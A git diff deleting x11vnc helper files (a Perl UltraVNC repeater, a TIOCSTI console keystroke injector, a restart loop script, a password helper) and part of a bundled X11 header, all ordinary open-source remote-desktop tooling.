-select(STDERR); $| = 1;
-select(STDOUT); $| = 1;
-
-# interrupt handler:
-#
-my $looppid = '';
-my $pidfile = '';
-#
-sub get_out {
- lprint("$_[0]:\t$$ looppid=$looppid");
- if ($looppid) {
- kill 'TERM', $looppid;
- fsleep(0.2);
- }
- unlink $pidfile if $pidfile;
- cleanup();
- exit 0;
-}
-
-sub lprint {
- print STDERR scalar(localtime), ": ", @_, "\n";
-}
-
-# These are overridden in actual server thread:
-#
-$SIG{INT} = \&get_out;
-$SIG{TERM} = \&get_out;
-
-# pidfile:
-#
-sub open_pidfile {
- if (exists $ENV{ULTRAVNC_REPEATER_PIDFILE}) {
- my $pf = $ENV{ULTRAVNC_REPEATER_PIDFILE};
- if (open(PID, ">$pf")) {
- print PID "$$\n";
- close PID;
- $pidfile = $pf;
- } else {
- lprint("could not open pidfile: $pf - $! - continuing...");
- }
- delete $ENV{ULTRAVNC_REPEATER_PIDFILE};
- }
-}
-
-####################################################################
-# Set ULTRAVNC_REPEATER_LOOP=1 to have this script create an outer loop
-# restarting itself if it ever exits. Set ULTRAVNC_REPEATER_LOOP=BG to
-# do this in the background as a daemon.
-
-if (exists $ENV{ULTRAVNC_REPEATER_LOOP}) {
- my $csl = $ENV{ULTRAVNC_REPEATER_LOOP};
- if ($csl ne 'BG' && $csl ne '1') {
- die "ultravnc_repeater.pl: invalid ULTRAVNC_REPEATER_LOOP.\n";
- }
- if ($csl eq 'BG') {
- # go into bg as "daemon":
- setpgrp(0, 0);
- my $pid = fork();
- if (! defined $pid) {
- die "ultravnc_repeater.pl: $!\n";
- } elsif ($pid) {
- wait;
- exit 0;
- }
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- close STDIN;
- if (! $ENV{ULTRAVNC_REPEATER_LOGFILE}) {
- close STDOUT;
- close STDERR;
- }
- }
- delete $ENV{ULTRAVNC_REPEATER_LOOP};
-
- if (exists $ENV{ULTRAVNC_REPEATER_PIDFILE}) {
- open_pidfile();
- }
-
- lprint("ultravnc_repeater.pl: starting service. master-pid=$$");
- while (1) {
- $looppid = fork;
- if (! defined $looppid) {
- sleep 10;
- } elsif ($looppid) {
- wait;
- } else {
- exec $0, @ARGV;
- exit 1;
- }
- lprint("ultravnc_repeater.pl: re-starting service. master-pid=$$");
- sleep 1;
- }
- exit 0;
-}
-if (exists $ENV{ULTRAVNC_REPEATER_PIDFILE}) {
- open_pidfile();
-}
-
-# End of background/daemon stuff.
-####################################################################
-
-use warnings;
-use IO::Socket::INET;
-use IO::Select;
-
-# Test for INET6 support:
-#
-my $have_inet6 = 0;
-eval "use IO::Socket::INET6;";
-$have_inet6 = 1 if $@ eq "";
-print "perl module IO::Socket::INET6 not available: no IPv6 support.\n" if ! $have_inet6;
-
-my $prog = 'ultravnc_repeater';
-my %ID;
-
-my $refuse = 0;
-my $init_timeout = 5;
-
-if (@ARGV && $ARGV[0] =~ /-h/) {
- print $usage;
- exit 0;
-}
-if (@ARGV && $ARGV[0] eq '-r') {
- $refuse = 1;
- lprint("enabling refuse mode (-r).");
- shift;
-}
-
-my $client_port = shift;
-my $server_port = shift;
-
-$client_port = 5900 unless $client_port;
-$server_port = 5500 unless $server_port;
-
-my $uname = `uname`;
-
-my $repeater_bufsize = 250;
-$repeater_bufsize = $ENV{BUFSIZE} if exists $ENV{BUFSIZE};
-
-my ($RIN, $WIN, $EIN, $ROUT);
-
-my $client_listen = IO::Socket::INET->new(
- Listen => 10,
- LocalPort => $client_port,
- ReuseAddr => 1,
- Proto => "tcp"
-);
-my $err1 = $!;
-my $err2 = '';
-$client_listen = '' if ! $client_listen;
-
-my $client_listen6 = '';
-if ($have_inet6) {
- eval {$client_listen6 = IO::Socket::INET6->new(
- Listen => 10,
- LocalPort => $client_port,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::",
- Proto => "tcp"
- );};
- $err2 = $!;
-}
-if (! $client_listen && ! $client_listen6) {
- cleanup();
- die "$prog: error: client listen on port $client_port: $err1 - $err2\n";
-}
-
-my $server_listen = IO::Socket::INET->new(
- Listen => 10,
- LocalPort => $server_port,
- ReuseAddr => 1,
- Proto => "tcp"
-);
-$err1 = $!;
-$err2 = '';
-$server_listen = '' if ! $server_listen;
-
-my $server_listen6 = '';
-if ($have_inet6) {
- eval {$server_listen6 = IO::Socket::INET6->new(
- Listen => 10,
- LocalPort => $server_port,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::",
- Proto => "tcp"
- );};
- $err2 = $!;
-}
-if (! $server_listen && ! $server_listen6) {
- cleanup();
- die "$prog: error: server listen on port $server_port: $err1 - $err2\n";
-}
-
-my $select = new IO::Select();
-if (! $select) {
- cleanup();
- die "$prog: select $!\n";
-}
-
-$select->add($client_listen) if $client_listen;
-$select->add($client_listen6) if $client_listen6;
-$select->add($server_listen) if $server_listen;
-$select->add($server_listen6) if $server_listen6;
-
-$SIG{INT} = sub {cleanup(); exit;};
-$SIG{TERM} = sub {cleanup(); exit;};
-
-my $SOCK1 = '';
-my $SOCK2 = '';
-my $CURR = '';
-
-lprint("$prog: starting up. pid: $$");
-lprint("watching for IPv4 connections on $client_port/client.") if $client_listen;
-lprint("watching for IPv4 connections on $server_port/server.") if $server_listen;
-lprint("watching for IPv6 connections on $client_port/client.") if $client_listen6;
-lprint("watching for IPv6 connections on $server_port/server.") if $server_listen6;
-
-my $alarm_sock = '';
-my $got_alarm = 0;
-sub alarm_handler {
- lprint("$prog: got sig alarm.");
- if ($alarm_sock ne '') {
- close $alarm_sock;
- }
- $alarm_sock = '';
- $got_alarm = 1;
-}
-
-while (my @ready = $select->can_read()) {
- foreach my $fh (@ready) {
- if (($client_listen && $fh == $client_listen) || ($client_listen6 && $fh == $client_listen6)) {
- lprint("new vnc client connecting.");
- } elsif (($server_listen && $fh == $server_listen) || ($server_listen6 && $fh == $server_listen6)) {
- lprint("new vnc server connecting.");
- }
- my $sock = $fh->accept();
- if (! $sock) {
- lprint("$prog: accept $!");
- next;
- }
-
- if (($client_listen && $fh == $client_listen) || ($client_listen6 && $fh == $client_listen6)) {
- if (exists $ENV{ULTRAVNC_REPEATER_NO_RFB} && $ENV{ULTRAVNC_REPEATER_NO_RFB}) {
- lprint("ULTRAVNC_REPEATER_NO_RFB: not sending RFB 000.000");
- } else {
- my $str = "RFB 000.000\n";
- my $len = length $str;
- my $n = syswrite($sock, $str, $len, 0);
- if ($n != $len) {
- lprint("$prog: bad $str write: $n != $len $!");
- close $sock;
- }
- }
- }
-
- my $buf = '';
- my $size = $repeater_bufsize;
- $size = 1024 unless $size;
-
- $SIG{ALRM} = "alarm_handler";
- $alarm_sock = $sock;
- $got_alarm = 0;
- alarm($init_timeout);
- my $n = sysread($sock, $buf, $size);
- alarm(0);
-
- if ($got_alarm) {
- lprint("$prog: read timed out: $!");
- } elsif (! defined $n) {
- lprint("$prog: read error: $!");
- } elsif ($repeater_bufsize > 0 && $n != $size) {
- lprint("$prog: short read $n != $size $!");
- close $sock;
- } elsif (($client_listen && $fh == $client_listen) || ($client_listen6 && $fh == $client_listen6)) {
- do_new_client($sock, $buf);
- } elsif (($server_listen && $fh == $server_listen) || ($server_listen6 && $fh == $server_listen6)) {
- do_new_server($sock, $buf);
- }
- }
-}
-
-sub do_new_client {
- my ($sock, $buf) = @_;
-
- if ($buf =~ /^ID:(\w+)/) {
- my $id = $1;
- if (exists $ID{$id} && exists $ID{$id}{client} && $ID{$id}{client} eq "0") {
- if (!established($ID{$id}{sock})) {
- lprint("server socket for ID:$id is no longer established, closing it.");
- close $ID{$id}{sock};
- delete $ID{$id};
- } else {
- lprint("server socket for ID:$id is still established.");
- }
- }
- if (exists $ID{$id}) {
- if ($ID{$id}{client}) {
- my $ref = $refuse;
- if ($ref && !established($ID{$id}{sock})) {
- lprint("socket for ID:$id is no longer established, closing it.");
- $ref = 0;
- }
- if ($ref) {
- lprint("refusing extra vnc client for ID:$id.");
- close $sock;
- return;
- } else {
- lprint("closing and deleting previous vnc client with ID:$id.");
- close $ID{$id}{sock};
-
- lprint("storing new vnc client with ID:$id.");
- $ID{$id}{client} = 1;
- $ID{$id}{sock} = $sock;
- }
- } else {
- lprint("hooking up new vnc client with existing vnc server for ID:$id.");
- my $sock2 = $ID{$id}{sock};
- delete $ID{$id};
- hookup($sock, $sock2, "ID:$id");
- }
- } else {
- lprint("storing new vnc client with ID:$id.");
- $ID{$id}{client} = 1;
- $ID{$id}{sock} = $sock;
- }
- } else {
- my $str = sprintf("%s", $buf);
- $str =~ s/\s*$//g;
- $str =~ s/\0*$//g;
- my $host = '';
- my $port = '';
- if ($str =~ /^(.+):(\d+)$/) {
- $host = $1;
- $port = $2;
- } else {
- $host = $str;
- $port = 5900;
- }
- if ($port < 0) {
- my $pnew = -$port;
- lprint("resetting port from $port to $pnew.");
- $port = $pnew;
- } elsif ($port < 200) {
- my $pnew = $port + 5900;
- lprint("resetting port from $port to $pnew.");
- $port = $pnew;
- }
- lprint("making vnc client connection directly to vnc server host='$host' port='$port'.");
- my $sock2 = IO::Socket::INET->new(
- PeerAddr => $host,
- PeerPort => $port,
- Proto => "tcp"
- );
- if (! $sock2 && $have_inet6) {
- lprint("IPv4 connect error: $!, trying IPv6 ...");
- eval{$sock2 = IO::Socket::INET6->new(
- PeerAddr => $host,
- PeerPort => $port,
- Proto => "tcp"
- );};
- lprint("IPv6 connect error: $!") if !$sock2;
- } else {
- lprint("IPv4 connect error: $!") if !$sock2;
- }
- if (!$sock2) {
- lprint("failed to connect to $host:$port.");
- close $sock;
- return;
- }
- hookup($sock, $sock2, "$host:$port");
- }
-}
-
-sub do_new_server {
- my ($sock, $buf) = @_;
-
- if ($buf =~ /^ID:(\w+)/) {
- my $id = $1;
- my $store = 1;
- if (exists $ID{$id} && exists $ID{$id}{client} && $ID{$id}{client} eq "1") {
- if (!established($ID{$id}{sock})) {
- lprint("client socket for ID:$id is no longer established, closing it.");
- close $ID{$id}{sock};
- delete $ID{$id};
- } else {
- lprint("client socket for ID:$id is still established.");
- }
- }
- if (exists $ID{$id}) {
- if (! $ID{$id}{client}) {
- my $ref = $refuse;
- if ($ref && !established($ID{$id}{sock})) {
- lprint("socket for ID:$id is no longer established, closing it.");
- $ref = 0;
- }
- if ($ref) {
- lprint("refusing extra vnc server for ID:$id.");
- close $sock;
- return;
- } else {
- lprint("closing and deleting previous vnc server with ID:$id.");
- close $ID{$id}{sock};
-
- lprint("storing new vnc server with ID:$id.");
- $ID{$id}{client} = 0;
- $ID{$id}{sock} = $sock;
- }
- } else {
- lprint("hooking up new vnc server with existing vnc client for ID:$id.");
- my $sock2 = $ID{$id}{sock};
- delete $ID{$id};
- hookup($sock, $sock2, "ID:$id");
- }
- } else {
- lprint("storing new vnc server with ID:$id.");
- $ID{$id}{client} = 0;
- $ID{$id}{sock} = $sock;
- }
- } else {
- lprint("invalid ID:NNNNN string for vnc server: $buf");
- close $sock;
- return;
- }
-}
-
-sub established {
- my $fh = shift;
-
- return established_linux_proc($fh);
-
- # not working:
- my $est = 1;
- my $str = "Z";
- my $res;
- #$res = recv($fh, $str, 1, MSG_PEEK | MSG_DONTWAIT);
- if (defined($res)) {
- lprint("established OK: $! '$str'.");
- $est = 1;
- } else {
- # would check for EAGAIN here to decide ...
- lprint("established err: $! '$str'.");
- $est = 1;
- }
- return $est;
-}
-
-
-sub established_linux_proc {
- # hack for Linux to see if remote side has gone away:
- my $fh = shift;
-
- # if we can't figure things out, we must return true.
- if ($uname !~ /Linux/) {
- return 1;
- }
-
- my @proc_net_tcp = ();
- if (-e "/proc/net/tcp") {
- push @proc_net_tcp, "/proc/net/tcp";
- }
- if (-e "/proc/net/tcp6") {
- push @proc_net_tcp, "/proc/net/tcp6";
- }
- if (! @proc_net_tcp) {
- return 1;
- }
-
- my $n = fileno($fh);
- if (!defined($n)) {
- return 1;
- }
-
- my $proc_fd = "/proc/$$/fd/$n";
- if (! -e $proc_fd) {
- return 1;
- }
-
- my $val = readlink($proc_fd);
- if (! defined $val || $val !~ /socket:\[(\d+)\]/) {
- return 1;
- }
- my $num = $1;
-
- my $st = '';
-
- foreach my $tcp (@proc_net_tcp) {
- if (! open(TCP, "<$tcp")) {
- next;
- }
- while (<TCP>) {
- next if /^\s*[A-z]/;
- chomp;
- # sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
- # 170: 0102000A:170C FE02000A:87FA 01 00000000:00000000 00:00000000 00000000 1001 0 423294766 1 f6fa4100 21 4 4 2 -1
- # 172: 0102000A:170C FE02000A:87FA 08 00000000:00000001 00:00000000 00000000 1001 0 423294766 1 f6fa4100 21 4 4 2 -1
- my @items = split(' ', $_);
- my $state = $items[3];
- my $inode = $items[9];
- if (!defined $state || $state !~ /^\d+$/) {
- next;
- }
- if (!defined $inode || $inode !~ /^\d+$/) {
- next;
- }
- if ($inode == $num) {
- $st = $state;
- last;
- }
- }
- close TCP;
- last if $st ne '';
- }
-
- if ($st ne '' && $st != 1) {
- return 0;
- }
- return 1;
-}
-
-sub handler {
- lprint("\[$$/$CURR] got SIGTERM.");
- close $SOCK1 if $SOCK1;
- close $SOCK2 if $SOCK2;
- exit;
-}
-
-sub hookup {
- my ($sock1, $sock2, $tag) = @_;
-
- my $worker = fork();
-
- if (! defined $worker) {
- lprint("failed to fork worker: $!");
- close $sock1;
- close $sock2;
- return;
- } elsif ($worker) {
- close $sock1;
- close $sock2;
- wait;
- } else {
- cleanup();
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- $SOCK1 = $sock1;
- $SOCK2 = $sock2;
- $CURR = $tag;
- $SIG{TERM} = "handler";
- $SIG{INT} = "handler";
- xfer_both($sock1, $sock2);
- exit 0;
- }
-}
-
-sub xfer {
- my ($in, $out) = @_;
-
- $RIN = $WIN = $EIN = "";
- $ROUT = "";
- vec($RIN, fileno($in), 1) = 1;
- vec($WIN, fileno($in), 1) = 1;
- $EIN = $RIN | $WIN;
-
- my $buf;
-
- while (1) {
- my $nf = 0;
- while (! $nf) {
- $nf = select($ROUT=$RIN, undef, undef, undef);
- }
- my $len = sysread($in, $buf, 8192);
- if (! defined($len)) {
- next if $! =~ /^Interrupted/;
- lprint("\[$$/$CURR] $!");
- last;
- } elsif ($len == 0) {
- lprint("\[$$/$CURR] Input is EOF.");
- last;
- }
- my $offset = 0;
- my $quit = 0;
- while ($len) {
- my $written = syswrite($out, $buf, $len, $offset);
- if (! defined $written) {
- lprint("\[$$/$CURR] Output is EOF. $!");
- $quit = 1;
- last;
- }
- $len -= $written;
- $offset += $written;
- }
- last if $quit;
- }
- close($out);
- close($in);
- lprint("\[$$/$CURR] finished xfer.");
-}
-
-sub xfer_both {
- my ($sock1, $sock2) = @_;
-
- my $parent = $$;
-
- my $child = fork();
-
- if (! defined $child) {
- lprint("$prog\[$$/$CURR] failed to fork: $!");
- return;
- }
-
- $SIG{TERM} = "handler";
- $SIG{INT} = "handler";
-
- if ($child) {
- lprint("[$$/$CURR] parent 1 -> 2.");
- xfer($sock1, $sock2);
- select(undef, undef, undef, 0.25);
- if (kill 0, $child) {
- select(undef, undef, undef, 0.9);
- if (kill 0, $child) {
- lprint("\[$$/$CURR] kill TERM child $child");
- kill "TERM", $child;
- } else {
- lprint("\[$$/$CURR] child $child gone.");
- }
- }
- } else {
- select(undef, undef, undef, 0.05);
- lprint("[$$/$CURR] child 2 -> 1.");
- xfer($sock2, $sock1);
- select(undef, undef, undef, 0.25);
- if (kill 0, $parent) {
- select(undef, undef, undef, 0.8);
- if (kill 0, $parent) {
- lprint("\[$$/$CURR] kill TERM parent $parent.");
- kill "TERM", $parent;
- } else {
- lprint("\[$$/$CURR] parent $parent gone.");
- }
- }
- }
-}
-
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
-
-sub cleanup {
- close $client_listen if $client_listen;
- close $client_listen6 if $client_listen6;
- close $server_listen if $server_listen;
- close $server_listen6 if $server_listen6;
- foreach my $id (keys %ID) {
- close $ID{$id}{sock};
- }
-}
diff --git a/x11vnc/misc/vcinject.pl b/x11vnc/misc/vcinject.pl
deleted file mode 100755
index b371d4e..0000000
--- a/x11vnc/misc/vcinject.pl
+++ /dev/null
@@ -1,113 +0,0 @@
- #!/bin/sh -- # A comment mentioning perl
-eval 'exec perl -S $0 ${1+"$@"}'
- if 0;
-#
-# vcinject.pl: simple hack to inject keystrokes into Linux VC tty.
-# See LinuxVNC.c for a more careful treatment using C and public API.
-#
-# Usage: vcinject.pl <N> (or /dev/ttyN)
-#
-# This is an example x11vnc -pipeinput program E.g.:
-#
-# x11vnc -rawfb map:/dev/fb0@1024x768x16 -pipeinput "vcinject.pl /dev/tty3"
-#
-# (see fbset(8) for obtaining fb info).
-#
-# It reads lines like this from STDIN:
-#
-# Keysym <id> <down> <n> <Keysym> ...
-#
-# <id> is ignored, it uses the rest to deduce the keystrokes to send
-# to the console.
-#
-
-$tty = shift;
-$tty = "/dev/tty$tty" if $tty =~ /^\d+$/;
-
-warn "strange tty device: $tty\n" if $tty !~ m,^/dev/tty\d+$,;
-
-open(TTY, ">$tty") || die "open $tty: $!\n";
-$fd = fileno(TTY);
-
-$linux_ioctl_syscall = 54; # common knowledge, eh? :-)
-$TIOCSTI = 0x5412;
-
-%Map = qw(
- Escape 27
- Tab 9
- Return 13
- BackSpace 8
- Home 1
- End 5
- Up 16
- Down 14
- Right 6
- Left 2
- Next 6
- Prior 2
-);
-# the latter few above seem to be vi specials. (since they are normally
-# escape sequences, e.g. ESC [ 5 ~)
-
-sub lookup {
- my($down, $key, $name) = @_;
-
- my $n = -1;
- $name =~ s/^KP_//;
-
- # algorithm borrowed from LinuxVNC.c:
- if (! $down) {
- if ($name =~ /^Control/) {
- $control--;
- }
- return $n;
- }
-
- if ($name =~ /^Control/) {
- $control++;
- } else {
- if (exists($Map{$name})) {
- $n = $Map{$name};
- }
- if ($control && $name =~ /^[A-z]$/) {
- $n = ord($name);
- # shift down to the Control zone:
- if ($name =~ /[a-z]/) {
- $n -= (ord("a") - 1);
- } else {
- $n -= (ord("A") - 1);
- }
- }
- if ($n < 0 && $key < 256) {
- $n = $key;
- }
- }
- return $n;
-}
-
-$control = 0;
-$debug = 0;
-
-while (<>) {
- chomp;
- if (/^\w+$/) {
- # for debugging, you type the keysym in manually.
- $_ = "Keysym 1 0 999 $_ None";
- }
- next unless /^Keysym/;
-
- my ($j, $id, $down, $k, $keysym, $rest) = split(' ', $_);
-
- $n = lookup($down, $k, $keysym);
- if ($n < 0 || $n > 255) {
- print STDERR "skip: '$keysym' -> $n\n" if $down && $debug;
- next;
- }
-
- $n_p = pack("c", $n);
- $ret = syscall($linux_ioctl_syscall, $fd, $TIOCSTI, $n_p);
-
- print STDERR "ctrl=$control $keysym/$k syscall(" .
- "$linux_ioctl_syscall, $fd, $TIOCSTI, $n) = $ret\n" if $debug;
-
-}
diff --git a/x11vnc/misc/x11vnc_loop b/x11vnc/misc/x11vnc_loop
deleted file mode 100755
index 1a3e0a2..0000000
--- a/x11vnc/misc/x11vnc_loop
+++ /dev/null
@@ -1,89 +0,0 @@
-#!/bin/sh
-#
-# x11vnc_loop:
-#
-# Example startup script for connecting x11vnc to an X display
-# at system boot up and having it reconnect when the X server restarts.
-#
-# Run, in rc.local say, via, e.g.:
-#
-# /path/to/x11vnc_loop 1>> /var/tmp/x11vnc_loop.log 2>&1 &
-#
-# call with argument "once" or a number to limit the number of loops.
-#
-##########################################################################
-# The following needs to be customized:
-x11vnc_cmd=x11vnc # or use full path (or set PATH).
-pwfile=/path/to/vnc/passwd # always use a password
-display=:0 # display of interest
-restart_sleep=5 # pause between X server restarts.
-
-# modify cmdline args if desired:
-x11vnc_args="-display $display -rfbauth $pwfile -forever -nap"
-
-# you may need to customize the "grep", etc, below in get_xauthority_file()
-##########################################################################
-
-if [ "X$1" != "X" ]; then
- max=$1
- shift
-fi
-
-get_xauthority_file() {
- #
- # We need to find the MIT-COOKIE file... this not portable at all,
- # depends on OS, distro, desktop, phase of moon, etc...
- #
- # If the cookie file was fixed and you knew it, you could just
- # return it here e.g.:
- #
- ## echo "/var/gdm/:0.Xauth"; return
- #
- # or, if you knew the directory, you could look for the youngest
- # file there and return it e.g.:
- #
- ## echo `ls -t /var/lib/xdm/authdir/authfiles/* | head -1`; return
-
- # this hack tries to grep it out of ps output...
- xauth=""
- for i in 1 2 3
- do
- # very linux specific, and you likely need to tweak..
- patt="X11R6.*/X.*-auth"
- xauth=`ps wwwaux | grep "$patt" \
- | egrep -v 'grep|Xprt' | head -1 \
- | sed -e 's/^.*-auth//' | awk '{print $1}'`
-
- if [ "X$xauth" != "X" ]; then
- break
- fi
- sleep 2 # wait a bit in case X server is restarting slowly.
- done
- echo $xauth
-}
-
-try=1
-while [ 1 ]
-do
- echo "`date` $0 try number: $try"; try=`expr $try + 1`
-
- auth=`get_xauthority_file`
- if [ ! -r "$auth" ]; then
- echo "`date` bad auth file: \"$auth\""
- else
- cmd="$x11vnc_cmd $x11vnc_args"
- sleep 1
- echo "`date` running: $cmd -auth $auth"
- # run x11vnc:
- $cmd -auth $auth
- if [ "X$max" = "Xonce" ]; then
- exit $?
- fi
- fi
- if echo "$max" | grep '[0-9]' > /dev/null; then
- if [ $try -gt $max ]; then
- exit
- fi
- fi
- sleep $restart_sleep
-done
diff --git a/x11vnc/misc/x11vnc_pw b/x11vnc/misc/x11vnc_pw
deleted file mode 100755
index 04ea1e3..0000000
--- a/x11vnc/misc/x11vnc_pw
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/sh
-# usage: x11vnc_pw [file] (default: ~/.vnc/passwd)
-
-if [ "X$1" = "X" ]; then
- file=$HOME/.vnc/passwd
-else
- file=$1
-fi
-
-stty -echo
-printf "Password: "
-read pw1; echo ""
-printf "Verify: "
-read pw2; echo ""
-stty echo
-
-if [ "X$pw1" != "X$pw2" ]; then
- echo "passwords do not match."
- exit 1
-fi
-
-x11vnc -help > /dev/null 2>&1
-x11vnc -storepasswd "$pw1" "$file"
-ls -l "$file"
diff --git a/x11vnc/nox11.h b/x11vnc/nox11.h
deleted file mode 100644
index 1dcc974..0000000
--- a/x11vnc/nox11.h
+++ /dev/null
@@ -1,6671 +0,0 @@
-#undef LIBVNCSERVER_HAVE_XSHM
-#define LIBVNCSERVER_HAVE_XSHM 0
-#undef LIBVNCSERVER_HAVE_XTEST
-#define LIBVNCSERVER_HAVE_XTEST 0
-#undef LIBVNCSERVER_HAVE_XTESTGRABCONTROL
-#define LIBVNCSERVER_HAVE_XTESTGRABCONTROL 0
-#undef LIBVNCSERVER_HAVE_XKEYBOARD
-#define LIBVNCSERVER_HAVE_XKEYBOARD 0
-#undef LIBVNCSERVER_HAVE_LIBXINERAMA
-#define LIBVNCSERVER_HAVE_LIBXINERAMA 0
-#undef LIBVNCSERVER_HAVE_LIBXRANDR
-#define LIBVNCSERVER_HAVE_LIBXRANDR 0
-#undef LIBVNCSERVER_HAVE_LIBXFIXES
-#define LIBVNCSERVER_HAVE_LIBXFIXES 0
-#undef LIBVNCSERVER_HAVE_LIBXDAMAGE
-#define LIBVNCSERVER_HAVE_LIBXDAMAGE 0
-#undef LIBVNCSERVER_HAVE_RECORD
-#define LIBVNCSERVER_HAVE_RECORD 0
-#undef LIBVNCSERVER_HAVE_LIBXTRAP
-#define LIBVNCSERVER_HAVE_LIBXTRAP 0
-#undef LIBVNCSERVER_HAVE_SOLARIS_XREADSCREEN
-#define LIBVNCSERVER_HAVE_SOLARIS_XREADSCREEN 0
-#undef LIBVNCSERVER_HAVE_IRIX_XREADDISPLAY
-#define LIBVNCSERVER_HAVE_IRIX_XREADDISPLAY 0
-#undef LIBVNCSERVER_HAVE_FBPM
-#define LIBVNCSERVER_HAVE_FBPM 0
-
-/* default keysyms */
-#if 0
-/* XXX go with the subset in rfb/keysym.h for now */
-#define XK_MISCELLANY
-#define XK_XKB_KEYS
-#define XK_LATIN1
-#define XK_LATIN2
-#define XK_LATIN3
-#define XK_LATIN4
-#define XK_LATIN8
-#define XK_LATIN9
-#define XK_CAUCASUS
-#define XK_GREEK
-#define XK_KATAKANA
-#define XK_ARABIC
-#define XK_CYRILLIC
-#define XK_HEBREW
-#define XK_THAI
-#define XK_KOREAN
-#define XK_ARMENIAN
-#define XK_GEORGIAN
-#define XK_VIETNAMESE
-#define XK_CURRENCY
-#endif
-
-/*
- * $Xorg: X.h,v 1.4 2001/02/09 02:03:22 xorgcvs Exp $
- */
-
-/* Definitions for the X window system likely to be used by applications */
-
-#ifndef X_H
-#define X_H
-
-/***********************************************************
-
-Copyright 1987, 1998 The Open Group
-
-Permission to use, copy, modify, distribute, and sell this software and its
-documentation for any purpose is hereby granted without fee, provided that
-the above copyright notice appear in all copies and that both that
-copyright notice and this permission notice appear in supporting
-documentation.
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
-AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-Except as contained in this notice, the name of The Open Group shall not be
-used in advertising or otherwise to promote the sale, use or other dealings
-in this Software without prior written authorization from The Open Group.
-
-
-Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts.
-
- All Rights Reserved
-
-Permission to use, copy, modify, and distribute this software and its
-documentation for any purpose and without fee is hereby granted,
-provided that the above copyright notice appear in all copies and that
-both that copyright notice and this permission notice appear in
-supporting documentation, and that the name of Digital not be
-used in advertising or publicity pertaining to distribution of the
-software without specific, written prior permission.
-
-DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING
-ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL
-DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR
-ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
-WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
-ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
-SOFTWARE.
-
-******************************************************************/
-/* $XFree86: xc/include/X.h,v 1.5 2001/12/14 19:53:25 dawes Exp $ */
-
-#define X_PROTOCOL 11 /* current protocol version */
-#define X_PROTOCOL_REVISION 0 /* current minor version */
-
-/* Resources */
-
-/*
- * _XSERVER64 must ONLY be defined when compiling X server sources on
- * systems where unsigned long is not 32 bits, must NOT be used in
- * client or library code.
- */
-#ifndef _XSERVER64
-# ifndef _XTYPEDEF_XID
-# define _XTYPEDEF_XID
-typedef unsigned long XID;
-# endif
-# ifndef _XTYPEDEF_MASK
-# define _XTYPEDEF_MASK
-typedef unsigned long Mask;
-# endif
-# ifndef _XTYPEDEF_ATOM
-# define _XTYPEDEF_ATOM
-typedef unsigned long Atom; /* Also in Xdefs.h */
-# endif
-typedef unsigned long VisualID;
-typedef unsigned long Time;
-#else
-# include <X11/Xmd.h>
-# ifndef _XTYPEDEF_XID
-# define _XTYPEDEF_XID
-typedef CARD32 XID;
-# endif
-# ifndef _XTYPEDEF_MASK
-# define _XTYPEDEF_MASK
-typedef CARD32 Mask;
-# endif
-# ifndef _XTYPEDEF_ATOM
-# define _XTYPEDEF_ATOM
-typedef CARD32 Atom;
-# endif
-typedef CARD32 VisualID;
-typedef CARD32 Time;
-#endif
-
-typedef XID Window;
-typedef XID Drawable;
-#ifndef _XTYPEDEF_FONT
-# define _XTYPEDEF_FONT
-typedef XID Font;
-#endif
-typedef XID Pixmap;
-typedef XID Cursor;
-typedef XID Colormap;
-typedef XID GContext;
-typedef XID KeySym;
-
-typedef unsigned char KeyCode;
-
-/*****************************************************************
- * RESERVED RESOURCE AND CONSTANT DEFINITIONS
- *****************************************************************/
-
-#ifndef None
-#define None 0L /* universal null resource or null atom */
-#endif
-
-#define ParentRelative 1L /* background pixmap in CreateWindow
- and ChangeWindowAttributes */
-
-#define CopyFromParent 0L /* border pixmap in CreateWindow
- and ChangeWindowAttributes
- special VisualID and special window
- class passed to CreateWindow */
-
-#define PointerWindow 0L /* destination window in SendEvent */
-#define InputFocus 1L /* destination window in SendEvent */
-
-#define PointerRoot 1L /* focus window in SetInputFocus */
-
-#define AnyPropertyType 0L /* special Atom, passed to GetProperty */
-
-#define AnyKey 0L /* special Key Code, passed to GrabKey */
-
-#define AnyButton 0L /* special Button Code, passed to GrabButton */
-
-#define AllTemporary 0L /* special Resource ID passed to KillClient */
-
-#define CurrentTime 0L /* special Time */
-
-#define NoSymbol 0L /* special KeySym */
-
-/*****************************************************************
- * EVENT DEFINITIONS
- *****************************************************************/
-
-/* Input Event Masks. Used as event-mask window attribute and as arguments
- to Grab requests. Not to be confused with event names. */
-
-#define NoEventMask 0L
-#define KeyPressMask (1L<<0)
-#define KeyReleaseMask (1L<<1)
-#define ButtonPressMask (1L<<2)
-#define ButtonReleaseMask (1L<<3)
-#define EnterWindowMask (1L<<4)
-#define LeaveWindowMask (1L<<5)
-#define PointerMotionMask (1L<<6)
-#define PointerMotionHintMask (1L<<7)
-#define Button1MotionMask (1L<<8)
-#define Button2MotionMask (1L<<9)
-#define Button3MotionMask (1L<<10)
